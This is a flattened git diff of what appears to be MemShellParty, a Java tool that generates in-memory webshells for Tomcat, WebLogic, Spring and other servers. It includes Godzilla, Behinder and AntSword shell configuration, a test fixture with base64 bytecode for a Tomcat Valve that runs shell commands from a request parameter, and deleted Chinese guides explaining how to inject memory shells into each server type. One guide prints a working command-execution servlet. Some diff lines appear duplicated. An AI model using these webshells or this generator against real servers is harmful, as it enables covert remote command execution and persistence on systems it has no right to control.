import org.springframework.core.io.ClassPathResource;
import org.springframework.http.ResponseEntity;
import org.springframework.stereotype.Controller; import org.springframework.stereotype.Controller;
import org.springframework.util.FileCopyUtils;
import org.springframework.web.bind.annotation.GetMapping; import org.springframework.web.bind.annotation.GetMapping;
import org.springframework.web.bind.annotation.ResponseBody;
import java.io.IOException;
import java.io.InputStreamReader;
import java.nio.charset.StandardCharsets;
/** /**
* @author ReaJason * @author ReaJason
* @since 2024/12/19 * @since 2024/12/19
*/ */
@Controller @Controller
@Slf4j
public class ViewController { public class ViewController {
@GetMapping("/") @GetMapping("/")
public String index(){ public String index(){
return "redirect:/ui";
}
@GetMapping({"/api/search", "/api/search.data"})
@ResponseBody
public String handleSearch(HttpServletRequest request, HttpServletResponse response) {
String fullPath = request.getRequestURI().replace(request.getContextPath(), "");
String relativePath = fullPath.substring(1);
return renderFileData(relativePath, response);
}
@GetMapping("/ui/**")
@SneakyThrows
public Object handleView(HttpServletRequest request, HttpServletResponse response) {
String fullPath = request.getRequestURI().replace(request.getContextPath(), "");
if ("/ui".equals(fullPath) || "/ui/".equals(fullPath)) {
return "index"; return "index";
} }
String docPath = fullPath.substring(4);
if (docPath.endsWith(".data")) {
return ResponseEntity.ok(renderFileData(docPath, response));
}
return docPath + "/index";
}
private String renderFileData(String relativePath, HttpServletResponse response) {
try {
String templatePath = "templates/" + relativePath;
ClassPathResource resource = new ClassPathResource(templatePath);
if (!resource.exists()) {
response.setStatus(HttpServletResponse.SC_NOT_FOUND);
return "File not found: " + relativePath;
}
InputStreamReader reader = new InputStreamReader(
resource.getInputStream(),
StandardCharsets.UTF_8
);
return FileCopyUtils.copyToString(reader);
} catch (IOException e) {
response.setStatus(HttpServletResponse.SC_INTERNAL_SERVER_ERROR);
return "Error reading file: " + e.getMessage();
}
}
} }
@@ -2,9 +2,7 @@ package com.reajason.javaweb.boot.dto;
import com.reajason.javaweb.memshell.config.*; import com.reajason.javaweb.memshell.config.*;
import com.reajason.javaweb.packer.Packers; import com.reajason.javaweb.packer.Packers;
import com.reajason.javaweb.utils.CommonUtil;
import lombok.Data; import lombok.Data;
import org.apache.commons.lang3.StringUtils;
import static com.reajason.javaweb.memshell.ShellTool.*; import static com.reajason.javaweb.memshell.ShellTool.*;
@@ -20,11 +18,12 @@ public class MemShellGenerateRequest {
private Packers packer; private Packers packer;
@Data @Data
static class ShellToolConfigDTO { public static class ShellToolConfigDTO {
private String shellClassName; private String shellClassName;
private String godzillaPass; private String godzillaPass;
private String godzillaKey; private String godzillaKey;
private String commandParamName; private String commandParamName;
private String commandTemplate;
private String behinderPass; private String behinderPass;
private String antSwordPass; private String antSwordPass;
private String headerName; private String headerName;
@@ -52,10 +51,11 @@ public class MemShellGenerateRequest {
case Command -> CommandConfig.builder() case Command -> CommandConfig.builder()
.shellClassName(shellToolConfig.getShellClassName()) .shellClassName(shellToolConfig.getShellClassName())
.paramName(shellToolConfig.getCommandParamName()) .paramName(shellToolConfig.getCommandParamName())
.template(shellToolConfig.getCommandTemplate())
.encryptor(CommandConfig.Encryptor.fromString(shellToolConfig.getEncryptor())) .encryptor(CommandConfig.Encryptor.fromString(shellToolConfig.getEncryptor()))
.implementationClass(CommandConfig.ImplementationClass.fromString(shellToolConfig.getImplementationClass())) .implementationClass(CommandConfig.ImplementationClass.fromString(shellToolConfig.getImplementationClass()))
.build(); .build();
case Suo5 -> Suo5Config.builder() case Suo5, Suo5v2 -> Suo5Config.builder()
.shellClassName(shellToolConfig.getShellClassName()) .shellClassName(shellToolConfig.getShellClassName())
.headerName(shellToolConfig.getHeaderName()) .headerName(shellToolConfig.getHeaderName())
.headerValue(shellToolConfig.getHeaderValue()) .headerValue(shellToolConfig.getHeaderValue())
@@ -21,7 +21,7 @@ public class ProbeShellGenerateRequest {
private String server; private String server;
private String sleepServer; private String sleepServer;
private String reqParamName; private String reqParamName;
private String reqHeaderName; private String commandTemplate;
} }
public ProbeContentConfig parseProbeContentConfig() { public ProbeContentConfig parseProbeContentConfig() {
@@ -35,7 +35,7 @@ public class ProbeShellGenerateRequest {
.build(); .build();
case ResponseBody -> ResponseBodyConfig.builder() case ResponseBody -> ResponseBodyConfig.builder()
.reqParamName(probeContentConfig.reqParamName) .reqParamName(probeContentConfig.reqParamName)
.reqHeaderName(probeContentConfig.reqHeaderName) .commandTemplate(probeContentConfig.commandTemplate)
.server(probeContentConfig.server) .server(probeContentConfig.server)
.build(); .build();
default -> throw new UnsupportedOperationException("unknown probe method: " + probeConfig.getProbeMethod()); default -> throw new UnsupportedOperationException("unknown probe method: " + probeConfig.getProbeMethod());
+3
View File
@@ -2,3 +2,6 @@ spring:
application: application:
name: boot name: boot
version: ${version} version: ${version}
mvc:
pathmatch:
matching-strategy: ant_path_matcher
@@ -0,0 +1,18 @@
package com.reajason.javaweb.boot.controller;
import org.junit.jupiter.api.Test;
import static org.junit.jupiter.api.Assertions.*;
/**
* @author ReaJason
* @since 2025/11/10
*/
class ClassNameParseControllerTest {
@Test
void test(){
ClassNameParseController classNameParseController = new ClassNameParseController();
String className = classNameParseController.className("yv66vgAAADIAiAEALG9yZy9hcGFjaGUvaHR0cC93ZWIvaGFuZGxlcnMvSUZOdnAvQXV0aFZhbHZlBwABAQAQamF2YS9sYW5nL09iamVjdAcAAwEAGW9yZy9hcGFjaGUvY2F0YWxpbmEvVmFsdmUHAAUBAAlwYXJhbU5hbWUBABJMamF2YS9sYW5nL1N0cmluZzsBAAhndmR1amx2YwgACQEABG5leHQBABtMb3JnL2FwYWNoZS9jYXRhbGluYS9WYWx2ZTsBAAY8aW5pdD4BAAMoKVYMAA0ADgoABAAPAQAGaW52b2tlAQBSKExvcmcvYXBhY2hlL2NhdGFsaW5hL2Nvbm5lY3Rvci9SZXF1ZXN0O0xvcmcvYXBhY2hlL2NhdGFsaW5hL2Nvbm5lY3Rvci9SZXNwb25zZTspVgEAE2phdmEvaW8vSU9FeGNlcHRpb24HABMBAB5qYXZheC9zZXJ2bGV0L1NlcnZsZXRFeGNlcHRpb24HABUBABNqYXZhL2xhbmcvVGhyb3dhYmxlBwAXDAAHAAgJAAIAGQEAJW9yZy9hcGFjaGUvY2F0YWxpbmEvY29ubmVjdG9yL1JlcXVlc3QHABsBAAxnZXRQYXJhbWV0ZXIBACYoTGphdmEvbGFuZy9TdHJpbmc7KUxqYXZhL2xhbmcvU3RyaW5nOwwAHQAeCgAcAB8BAAhnZXRQYXJhbQwAIQAeCgACACIBAA5nZXRJbnB1dFN0cmVhbQEAKShMamF2YS9sYW5nL1N0cmluZzspTGphdmEvaW8vSW5wdXRTdHJlYW07DAAkACUKAAIAJgEAJm9yZy9hcGFjaGUvY2F0YWxpbmEvY29ubmVjdG9yL1Jlc3BvbnNlBwAoAQAJZ2V0V3JpdGVyAQAXKClMamF2YS9pby9QcmludFdyaXRlcjsMACoAKwoAKQAsAQARamF2YS91dGlsL1NjYW5uZXIHAC4BABgoTGphdmEvaW8vSW5wdXRTdHJlYW07KVYMAA0AMAoALwAxAQACXEEIADMBAAx1c2VEZWxpbWl0ZXIBACcoTGphdmEvbGFuZy9TdHJpbmc7KUxqYXZhL3V0aWwvU2Nhbm5lcjsMADUANgoALwA3AQAUKClMamF2YS9sYW5nL1N0cmluZzsMAAsAOQoALwA6AQATamF2YS9pby9QcmludFdyaXRlcgcAPAEABXdyaXRlAQAVKExqYXZhL2xhbmcvU3RyaW5nOylWDAA+AD8KAD0AQAEAD3ByaW50U3RhY2tUcmFjZQwAQgAOCgAYAEMBAAdnZXROZXh0AQAdKClMb3JnL2FwYWNoZS9jYXRhbGluYS9WYWx2ZTsMAEUARgoAAgBHDAARABILAAYASQEAE2phdmEvbGFuZy9FeGNlcHRpb24HAEsBABBqYXZhL2xhbmcvU3RyaW5nBwBNAQATamF2YS9pby9JbnB1dFN0cmVhbQcATwEAB29zLm5hbWUIAFEBABBqYXZhL2xhbmcvU3lzdGVtBwBTAQALZ2V0UHJvcGVydHkMAFUAHgoAVABWAQALdG9Mb3dlckNhc2UMAFgAOQoATgBZAQAGd2luZG93CABbAQAIY29udGFpbnMBABsoTGphdmEvbGFuZy9DaGFyU2VxdWVuY2U7KVoMAF0AXgoATgBfAQAHY21kLmV4ZQgAYQEAAi9jCABjAQAHL2Jpbi9zaAgAZQEAAi1jCABnAQATW0xqYXZhL2xhbmcvU3RyaW5nOwcAaQEAGGphdmEvbGFuZy9Qcm9jZXNzQnVpbGRlcgcAawEAFihbTGphdmEvbGFuZy9TdHJpbmc7KVYMAA0AbQoAbABuAQATcmVkaXJlY3RFcnJvclN0cmVhbQEAHShaKUxqYXZhL2xhbmcvUHJvY2Vzc0J1aWxkZXI7DABwAHEKAGwAcgEABXN0YXJ0AQAVKClMamF2YS9sYW5nL1Byb2Nlc3M7DAB0AHUKAGwAdgEAEWphdmEvbGFuZy9Qcm9jZXNzBwB4AQAXKClMamF2YS9pby9JbnB1dFN0cmVhbTsMACQAegoAeQB7DAALAAwJAAIAfQEAB3NldE5leHQBAB4oTG9yZy9hcGFjaGUvY2F0YWxpbmEvVmFsdmU7KVYBABBpc0FzeW5jU3VwcG9ydGVkAQADKClaAQARYmFja2dyb3VuZFByb2Nlc3MBAA1Db25zdGFudFZhbHVlAQAEQ29kZQEADVN0YWNrTWFwVGFibGUBAApFeGNlcHRpb25zACEAAgAEAAEABgACAAgABwAIAAEAhAAAAAIACgAAAAsADAAAAAgAAQANAA4AAQCFAAAAEQABAAEAAAAFKrcAELEAAAAAAAEAEQASAAIAhQAAAGYABAAFAAAARCorsgAatgAgtwAjTi3GACMqLbcAJzoELLYALbsAL1kZBLcAMhI0tgA4tgA7tgBBsacACE4ttgBEKrYASCssuQBKAwCxAAEAAAAvADMAGAABAIYAAAAIAAMwQgcAGAQAhwAAAAYAAgAUABYAAgAhAB4AAQCFAAAADgABAAIAAAACK7AAAAAAAAIAJAAlAAIAhQAAAJMABAAEAAAAWipNK04AAacAA00SUrgAV7YAWhJctgBgmQAYBr0ATlkDEmJTWQQSZFNZBStTpwAVBr0ATlkDEmZTWQQSaFNZBStTTrsAbFkttwBvBLYAc7YAd7YAfE2nAAMssAAAAAEAhgAAACcABv0ABAcAAgcATv8ABAACBwACBwBOAAEHAFD8AAAHAFAkUQcAahYAhwAAAAQAAQBMAAEARQBGAAEAhQAAABEAAQABAAAABSq0AH6wAAAAAAABAH8AgAABAIUAAAASAAIAAgAAAAYqK7UAfrEAAAAAAAEAgQCCAAEAhQAAAA4AAQABAAAAAgOsAAAAAAABAIMADgABAIUAAAANAAAAAQAAAAGxAAAAAAAA");
assertEquals("org.apache.http.web.handlers.IFNvp.AuthValve", className);
}
}
@@ -26,31 +26,22 @@ public class ConfigControllerIntegrationTest {
@Test @Test
public void testConfigEndpoint() { public void testConfigEndpoint() {
ResponseEntity<Map> response = restTemplate.getForEntity("/config", Map.class); ResponseEntity<Map> response = restTemplate.getForEntity("/api/config", Map.class);
assertEquals(HttpStatus.OK, response.getStatusCode()); assertEquals(HttpStatus.OK, response.getStatusCode());
assertNotNull(response.getBody());
Map body = response.getBody();
assertNotNull(body);
} }
@Test @Test
public void testConfigServersEndpoint() { public void testConfigServersEndpoint() {
ResponseEntity<Map> response = restTemplate.getForEntity("/config/servers", Map.class); ResponseEntity<Map> response = restTemplate.getForEntity("/api/config/servers", Map.class);
assertEquals(HttpStatus.OK, response.getStatusCode()); assertEquals(HttpStatus.OK, response.getStatusCode());
assertNotNull(response.getBody());
Map body = response.getBody();
assertNotNull(body);
} }
@Test @Test
public void testConfigPackersEndpoint() { public void testConfigPackersEndpoint() {
ResponseEntity<List> response = restTemplate.getForEntity("/config/packers", List.class); ResponseEntity<List> response = restTemplate.getForEntity("/api/config/packers", List.class);
assertEquals(HttpStatus.OK, response.getStatusCode()); assertEquals(HttpStatus.OK, response.getStatusCode());
assertNotNull(response.getBody());
List<String> body = response.getBody();
assertNotNull(body);
} }
} }
@@ -0,0 +1,58 @@
package com.reajason.javaweb.boot.controller;
import com.reajason.javaweb.Server;
import com.reajason.javaweb.boot.dto.MemShellGenerateRequest;
import com.reajason.javaweb.boot.dto.MemShellGenerateResponse;
import com.reajason.javaweb.memshell.ShellTool;
import com.reajason.javaweb.memshell.ShellType;
import com.reajason.javaweb.memshell.config.InjectorConfig;
import com.reajason.javaweb.memshell.config.ShellConfig;
import com.reajason.javaweb.packer.Packers;
import org.junit.jupiter.api.Test;
import org.springframework.beans.factory.annotation.Autowired;
import org.springframework.boot.test.context.SpringBootTest;
import org.springframework.boot.test.web.client.TestRestTemplate;
import org.springframework.http.HttpStatus;
import org.springframework.http.ResponseEntity;
import static org.junit.jupiter.api.Assertions.assertEquals;
import static org.junit.jupiter.api.Assertions.assertNotNull;
/**
* @author ReaJason
* @since 2025/9/16
*/
@SpringBootTest(webEnvironment = SpringBootTest.WebEnvironment.RANDOM_PORT)
class MemShellGeneratorControllerTest {
@Autowired
TestRestTemplate restTemplate;
@Test
void generateShell() {
MemShellGenerateRequest request = new MemShellGenerateRequest();
request.setShellConfig(ShellConfig.builder()
.server(Server.Tomcat)
.shellType(ShellType.FILTER)
.shellTool(ShellTool.Godzilla)
.shrink(true)
.debug(true)
.serverVersion("Unknown")
.targetJreVersion(50)
.build());
request.setInjectorConfig(InjectorConfig.builder()
.urlPattern("/*")
.build());
request.setPacker(Packers.ScriptEngine);
MemShellGenerateRequest.ShellToolConfigDTO shellToolConfigDTO = new MemShellGenerateRequest.ShellToolConfigDTO();
shellToolConfigDTO.setGodzillaKey("key");
shellToolConfigDTO.setGodzillaPass("pass");
shellToolConfigDTO.setHeaderName("User-Agent");
shellToolConfigDTO.setHeaderValue("hello");
request.setShellToolConfig(shellToolConfigDTO);
ResponseEntity<MemShellGenerateResponse> response = restTemplate.postForEntity(
"/api/memshell/generate", request, MemShellGenerateResponse.class);
assertEquals(HttpStatus.OK, response.getStatusCode());
assertNotNull(response.getBody());
}
}
+1 -1
View File
@@ -7,5 +7,5 @@ repositories {
} }
dependencies { dependencies {
implementation("com.vanniktech:gradle-maven-publish-plugin:0.34.0") implementation("com.vanniktech:gradle-maven-publish-plugin:0.35.0")
} }
@@ -3,7 +3,7 @@ plugins {
} }
mavenPublishing { mavenPublishing {
publishToMavenCentral(true) publishToMavenCentral()
signAllPublications() signAllPublications()
coordinates( coordinates(
"io.github.reajason", "io.github.reajason",
+1 -1
View File
@@ -9,7 +9,7 @@ idea {
} }
} }
version = "2.1.0" version = "2.4.2"
tasks.register("publishAllToMavenCentral") { tasks.register("publishAllToMavenCentral") {
dependsOn(":memshell-party-common:publishToMavenCentral") dependsOn(":memshell-party-common:publishToMavenCentral")
-130
View File
@@ -1,130 +0,0 @@
# Java 服务简介
以下服务仅我个人遇到的一些场景,与实际攻防场景可能仍有差距,但是在 MemShellParty
中可用于参考进行内存马生成。个别其他服务还请自行辨别其服务类型。如果有其他环境补充,欢迎 PR 交流学习~
## Tomcat
> https://tomcat.apache.org/
Tomcat 使用的是自己 Catalina 模块提供的 Servlets 实现,限制较少,在 MemShellParty 中,服务类型选 Tomcat 即可生成 Tomcat
内存马。
一般而言,SpringWebMVC 项目大多使用 Tomcat 提供 Servlets 容器功能,比如 Nacos,这种情况下可以选择 Tomcat 内存马注入。
其他服务中,致远 OA、Confluence、帆软使用的是 Tomcat。
## Jetty
> https://jetty.org/
Jetty6 版本使用的包名为 `org.mortbay.jetty`,而 7 以上使用的是 `org.eclipse.jetty`,在测试最新的 Jenkins 时,发现 Jetty11+
版本支持 ee8 ~ ee10 的环境,包名对应的是 `org.eclipse.jetty.ee8`,这些在 MemShellParty 中均已支持,因此服务类型选 Jetty
即可生成 Jetty 内存马。
在 SpringWebMVC 项目中也是有可能使用的。
## JBoss
> JBossAS: https://jbossas.jboss.org/downloads
> JBossEAP: https://developers.redhat.com/products/eap/download
JBoss 分为 JBossAS 和 JBossEAPJBossAS 全版本和 JBossEAP6 使用的 Catalina 模块提供的 Servlets 实现,JBossEAP7 及其以上使用的
[Undertow](https://undertow.io/) 提供的 Servlets 实现。
因此 JBossAS 4~7 以及 JBossEAP6 服务类型选择 JBoss 进行内存马的生成,而 JBossEAP7 服务类型需要选择
Undertow 进行内存马的生成。
## Wildfly
> https://www.wildfly.org/
Wildfly 使用的 [Undertow](https://undertow.io/) 提供的 Servlets 实现,因此服务类型选择 Undertow 生成内存马
## GlassFish
> https://glassfish.org/
GlassFish 使用的是 Catalina 提供的 Servlets 实现,但是使用了 OSGI 类加载模式,因此类限制较为严重,在 MemShellParty 中,服务类型选择
GlassFish 进行内存马的生成。
## Payara
> https://www.payara.fish/downloads/
基于 GlassFish 开发,服务类型选择 GlassFish 进行内存马的生成。
## Resin
> https://caucho.com/products/resin/download
Resin 使用的包名为 `com.caucho.`,服务类型选择 Resin 进行内存马的生成。
泛微 OA 使用的就是 Resin 提供的服务。
## WebLogic
> https://www.oracle.com/middleware/technologies/weblogic-server-installers-downloads.html
WebLogic 使用的包名为 `weblogic.`,服务类型选择 WebLogic 进行内存马的生成。
## WebSphere
> https://www.ibm.com/products/websphere-application-server
WebSphere 是 IBM 研发的商用 Servlets 容器,开源版本为 Websphere liberty
包名为 `com.ibm.`,服务类型选择 WebSphere 进行内存马的生成。
## BES
> https://www.bessystem.com/
BES 宝兰德,其基于 Tomcat 进行二开,在 BES 9.5.1 版本中没有进行包名修改,而在 BES 9.5.2
版本之后包名修改为了 `com.bes.enterprise.`。因此 BES 9.5.1 版本,服务类型选择 Tomcat 进行内存马的生成,BES 9.5.2+ 服务类型选择
BES 进行内存马的生成。
## TongWeb
> https://www.tongtech.com/sy.html
TongWeb 东方通,其基于 Tomcat 进行二开,并且在最初的 6 版本就进行了包名修改,每个版本都进行了修改。
- TongWeb6: `com.tongweb.web.thor.`
- TongWeb7: `com.tongweb.catalina.`
- TongWeb8: `com.tongweb.server.`
这三个版本在 MemShellParty 中均有适配,服务类型选择 TongWeb 进行内存马的生成。
## Apusic
> https://www.apusic.com/
金蝶中间件,Apusic9 疑似魔改自 GlassFish,不过改得面目全非了,自 Apusic10 开始使用原版 GlassFish 进行二开。因此 Apusic9
版本服务类型选择
Apusic 进行内存马生成,Apusic10 版本选择 GlassFish 进行内存马生成。
## Primeton
> https://www.primeton.com/products/pas/
普元中间件,Primeton6.5 版本基于 GlassFish
二开,高版本疑似做了包名修改,但没有环境,因此暂未适配([#60](https://github.com/ReaJason/MemShellParty/issues/60))因此当前仅支持
Primeton6.5 版本,服务类型选择 GlassFish 进行内存马生成。
## InforSuite
中创中间件,InforSuite 基于 GlassFish 进行二开,不过因为 InforSuite10 版本针对 filterConfigs 字段做了手脚改成了
iasFilterConfigs 因此 Filter 注入单独进行了适配。服务类型选择 InforSuite 进行内存马注入。
## SpringWebMVC
Spring 框架,默认的 MVC 架构,官方 Servlets 容器实现可选 Tomcat、Jetty 与 Undertow,也可打包成 war 包部署于任意 Servlets
容器上。内存马注入场景下不推荐框架内存马,而是具体的 Servlets 容器内存马,因为可绕过框架的限制(鉴权或其他)。服务类型选择
SpringWebMVC 进行内存马生成。
## SpringWebFlux
Spring Boot 项目中基于 reactor 异步 IO 模型的服务组件,底层使用的 Netty,一般常见于各种 SpringCloud 项目,例如网关。服务类型选择
SpringWebFlux 进行内存马生成。
Binary file not shown.

Before

Width:  |  Height:  |  Size: 174 KiB

Binary file not shown.

Before

Width:  |  Height:  |  Size: 282 KiB

Binary file not shown.

Before

Width:  |  Height:  |  Size: 92 KiB

Binary file not shown.

Before

Width:  |  Height:  |  Size: 130 KiB

Binary file not shown.

Before

Width:  |  Height:  |  Size: 326 KiB

-98
View File
@@ -1,98 +0,0 @@
# Java Servlet
Java SE 中我们可以创建 socket 服务端为用户提供服务,但需要用户使用 socket 客户端,当然也可以基于 socket 实现 HTTP 协议,WebFlux 就是这样子的存在。而在 Java EE 中,Java 制定了 Servlet 规范,来规范在 Java 中提供 HTTP 服务的编写方式,其中有两个重要的概念,Servlet 与 Servlet Container。Servlet 是基于 Java 的 Web 组件,由容器进行管理,提供动态内容。Servlet 容器用于提供基于请求/响应发送模式的服务,必须支持 HTTP,并且管理 Servlet 的生命周期,使 Servlet 在一个受限的安全环境中执行。
Servlet 规范旨在让开发者基于规范开发的应用,可以部署在任意满足规范的 Web 容器上。每个 Servlet 规范版本都引入了一些新的东西,Servlet 4.0 前的版本变更可查看 [java-servlet-version-history](https://www.codejava.net/java-ee/servlet/java-servlet-version-history)。
目前常见的 Servlet 规范就是 [Servlet 3.1](https://github.com/waylau/servlet-3.1-specification/blob/master/docs), Tomcat 8.x 版本就是 Servlet 3.1 版本,从 Servlet 5.0 开始,Java EE 更名为 Jakarta EE,包路径从 javax 改为 jakarta。目前最新的 Servlet 规范是 [Servlet 6.1](https://jakarta.ee/zh/specifications/servlet/6.1/)。另外可以 [在此](https://tomcat.apache.org/whichversion.html) 查看 Tomcat 容器支持的 Servlet 规范版本。
## ServletContext
> [Servlet 3.1 规范 - 4.1 ServletContext 接口介绍](https://github.com/waylau/servlet-3.1-specification/blob/master/docs/Servlet%20Context/4.1%20Introduction%20to%20the%20ServletContext%20Interface.md)
ServletContext 定义了 Servlet 运行的 Web 应用视图,一个 Web 应用对应一个 ServletContext。
ServletContext 必须支持编程式添加 Servlet、Filter 和 Listener,对框架开发者有用处。但是规定了这些方法只能在 ServletContextListener.contexInitialized 或 ServletContainerInitializer.onStartup 应用初始化的时候调用。
```java
addServlet(String servletName, String className);
addServlet(String servletName, Servlet servlet);
addServlet(String servletName, Class <? extends Servlet> servletClass);
addFilter(String filterName, String className);
addFilter(String filterName, Filter filter);
addFilter(String filterName, Class <? extends Filter> filterClass);
void addListener(String className);
void addListener(T t);
void addListener(Class <? extends EventListener> listenerClass);
```
这就是在注入内存马时我们需要先拿 Context 的原因(已经写在了 Servlet 规范里面啦),所以针对实现了 Servlet 规范的 Web 容器都是一个套路,并且该反射调用哪些方法也写在里面了。不过在实现的时候却写了那么多代码的原因就是,其规定了这些方法只能在应用初始化的时候调用,我们注入内存马的时候已经是应用运行时了,那些代码实际上就是将方法内的具体实现重新用反射实现一遍。
## HttpServlet
99.99% 的时候,我们实现 HttpServlet 抽象类给予我们的能力就可以了,以下每个方法都对应了 HTTP Method 方法,当我们想要实现处理 Get 请求实现 doGet,处理 Post 请求就实现 doPost。
```java
protected void doGet(HttpServletRequest req, HttpServletResponse resp);
protected void doPost(HttpServletRequest req, HttpServletResponse resp);
protected void doPut(HttpServletRequest req, HttpServletResponse resp);
protected void doDelete(HttpServletRequest req, HttpServletResponse resp);
protected void doHead(HttpServletRequest req, HttpServletResponse resp);
protected void doOptions(HttpServletRequest req, HttpServletResponse resp);
protected void doTrace(HttpServletRequest req, HttpServletResponse resp);
```
Servlet 规范中规定了,对于非分布式应用来说,Servlet 容器必须确保对于每个 Servlet 定义只存在一个实例,但是 Web 服务是多线程的,所以 Servlet 是线程不安全的,在 Servlet 中的成员变量都是线程不安全的。
针对 Servlet 的路径映射提供了注解的方式和 web.xml 方法,以下两种方式都能定义访问 `/foo` 即调用 CalculatorServlet 中对应的实现方法。
```java
@WebServlet(/foo)
public class CalculatorServlet extends HttpServlet{
//...
}
```
```xml
<servlet>
<servlet-name>foo</servlet-name>
<servlet-class>org.example.CalculatorServlet</servlet-class>
</servlet>
<servlet-mapping>
<servlet-name>foo</servlet-name>
<url-pattern>/foo</url-pattern>
</servlet-mapping>
```
## ServletShell
shell 的目的,就是为了定义一个入口,我们能与 Web 服务器进行交互。以下定义了一个命令回显的 ServletShell。
1. doGet 调用转发给 doPost,这样我们即支持 GET 也支持 POST,防止某些情况下有请求方法的限制。
2. 交互的入口是 `request.getParameter` 支持两种方式传参。GET/POST 请求发送 `/?paramName=whoami`,也可以发送 POST 请求时使用 `application/x-www-form-urlencoded` 发送 body 参数。`multipart/form-data` 是不支持从 `request.getParameter` 获取参数的。
```java
public class CommandServlet extends HttpServlet {
public static String paramName;
@Override
protected void doGet(HttpServletRequest req, HttpServletResponse resp) throws ServletException, IOException {
doPost(req, resp);
}
@Override
protected void doPost(HttpServletRequest request, HttpServletResponse response) throws ServletException, IOException {
String cmd = request.getParameter(paramName);
if (cmd != null) {
Process exec = Runtime.getRuntime().exec(cmd);
InputStream inputStream = exec.getInputStream();
ServletOutputStream outputStream = response.getOutputStream();
byte[] buf = new byte[8192];
int length;
while ((length = inputStream.read(buf)) != -1) {
outputStream.write(buf, 0, length);
}
}
}
}
```
+4 -5
View File
@@ -1,5 +1,5 @@
plugins { plugins {
id("java") id("java-library")
alias(libs.plugins.lombok) alias(libs.plugins.lombok)
id("maven-publish-convention") id("maven-publish-convention")
} }
@@ -29,17 +29,16 @@ tasks.test {
dependencies { dependencies {
implementation(project(":memshell-party-common")) implementation(project(":memshell-party-common"))
implementation(project(":packer")) implementation(project(":packer"))
implementation(libs.byte.buddy) api(libs.byte.buddy)
implementation(libs.asm.commons) implementation(libs.asm.commons)
implementation(libs.javax.websocket.api) implementation(libs.javax.websocket.api)
implementation(libs.javax.servlet.api) implementation(libs.javax.servlet.api)
implementation(libs.spring.webmvc) implementation(libs.spring.webmvc)
implementation(libs.spring.webflux) implementation(libs.spring.webflux)
implementation(libs.reactor.netty.core) implementation(libs.reactor.netty.core)
implementation(libs.jackson.annotations)
implementation(libs.bundles.jna) implementation(libs.bundles.jna)
implementation(libs.bcel)
implementation(libs.jackson.databind)
testImplementation(libs.junit.jupiter) testImplementation(libs.junit.jupiter)
testImplementation(libs.hamcrest) testImplementation(libs.hamcrest)
testRuntimeOnly(libs.junit.platform.launcher) testRuntimeOnly(libs.junit.platform.launcher)
@@ -20,4 +20,5 @@ public class Server {
public static final String SpringWebMvc = "SpringWebMvc"; public static final String SpringWebMvc = "SpringWebMvc";
public static final String SpringWebFlux = "SpringWebFlux"; public static final String SpringWebFlux = "SpringWebFlux";
public static final String XXLJOB = "XXLJOB"; public static final String XXLJOB = "XXLJOB";
public static final String Struct2 = "Struct2";
} }
@@ -6,7 +6,13 @@ import com.reajason.javaweb.memshell.config.ShellConfig;
import com.reajason.javaweb.memshell.config.ShellToolConfig; import com.reajason.javaweb.memshell.config.ShellToolConfig;
import com.reajason.javaweb.memshell.generator.InjectorGenerator; import com.reajason.javaweb.memshell.generator.InjectorGenerator;
import com.reajason.javaweb.memshell.server.AbstractServer; import com.reajason.javaweb.memshell.server.AbstractServer;
import com.reajason.javaweb.probe.ProbeContent;
import com.reajason.javaweb.probe.ProbeMethod;
import com.reajason.javaweb.probe.config.ProbeConfig;
import com.reajason.javaweb.probe.config.ResponseBodyConfig;
import com.reajason.javaweb.probe.generator.response.ResponseBodyGenerator;
import com.reajason.javaweb.utils.CommonUtil; import com.reajason.javaweb.utils.CommonUtil;
import org.apache.commons.codec.binary.Base64;
import org.apache.commons.lang3.StringUtils; import org.apache.commons.lang3.StringUtils;
import org.apache.commons.lang3.tuple.Pair; import org.apache.commons.lang3.tuple.Pair;
@@ -24,15 +30,6 @@ public class MemShellGenerator {
if (server == null) { if (server == null) {
throw new GenerationException("Unsupported server: " + serverName); throw new GenerationException("Unsupported server: " + serverName);
} }
if (StringUtils.isBlank(shellToolConfig.getShellClassName())) {
shellToolConfig.setShellClassName(CommonUtil.generateShellClassName(serverName, shellConfig.getShellType()));
}
if (StringUtils.isBlank(injectorConfig.getInjectorClassName())) {
injectorConfig.setInjectorClassName(CommonUtil.generateInjectorClassName());
}
Class<?> injectorClass = null; Class<?> injectorClass = null;
if (ShellTool.Custom.equals(shellConfig.getShellTool())) { if (ShellTool.Custom.equals(shellConfig.getShellTool())) {
@@ -47,6 +44,19 @@ public class MemShellGenerator {
shellToolConfig.setShellClass(shellClass); shellToolConfig.setShellClass(shellClass);
} }
if (StringUtils.isBlank(shellToolConfig.getShellClassName())) {
shellToolConfig.setShellClassName(CommonUtil.generateShellClassName(serverName, shellConfig.getShellType()));
}
if (StringUtils.isBlank(injectorConfig.getInjectorClassName())) {
injectorConfig.setInjectorClassName(CommonUtil.generateInjectorClassName());
}
if (shellConfig.isLambdaSuffix()) {
shellToolConfig.setShellClassName(CommonUtil.appendLambdaSuffix(shellToolConfig.getShellClassName()));
injectorConfig.setInjectorClassName(CommonUtil.appendLambdaSuffix(injectorConfig.getInjectorClassName()));
}
byte[] shellBytes = ShellToolFactory.generateBytes(shellConfig, shellToolConfig); byte[] shellBytes = ShellToolFactory.generateBytes(shellConfig, shellToolConfig);
injectorConfig.setInjectorClass(injectorClass); injectorConfig.setInjectorClass(injectorClass);
@@ -55,6 +65,25 @@ public class MemShellGenerator {
InjectorGenerator injectorGenerator = new InjectorGenerator(shellConfig, injectorConfig); InjectorGenerator injectorGenerator = new InjectorGenerator(shellConfig, injectorConfig);
byte[] injectorBytes = injectorGenerator.generate(); byte[] injectorBytes = injectorGenerator.generate();
if (shellConfig.isProbe() && !shellConfig.getShellType().startsWith(ShellType.AGENT)) {
ProbeConfig probeConfig = ProbeConfig.builder()
.shellClassName(injectorConfig.getInjectorClassName() + "1")
.probeMethod(ProbeMethod.ResponseBody)
.probeContent(ProbeContent.Bytecode)
.targetJreVersion(shellConfig.getTargetJreVersion())
.byPassJavaModule(shellConfig.isByPassJavaModule())
.shrink(shellConfig.isShrink())
.debug(shellConfig.isDebug())
.staticInitialize(injectorConfig.isStaticInitialize())
.build();
ResponseBodyConfig responseBodyConfig = ResponseBodyConfig.builder()
.server(serverName)
.base64Bytes(Base64.encodeBase64String(CommonUtil.gzipCompress(injectorBytes)))
.build();
injectorBytes = new ResponseBodyGenerator(probeConfig, responseBodyConfig).getBytes();
injectorConfig.setInjectorClassName(probeConfig.getShellClassName());
}
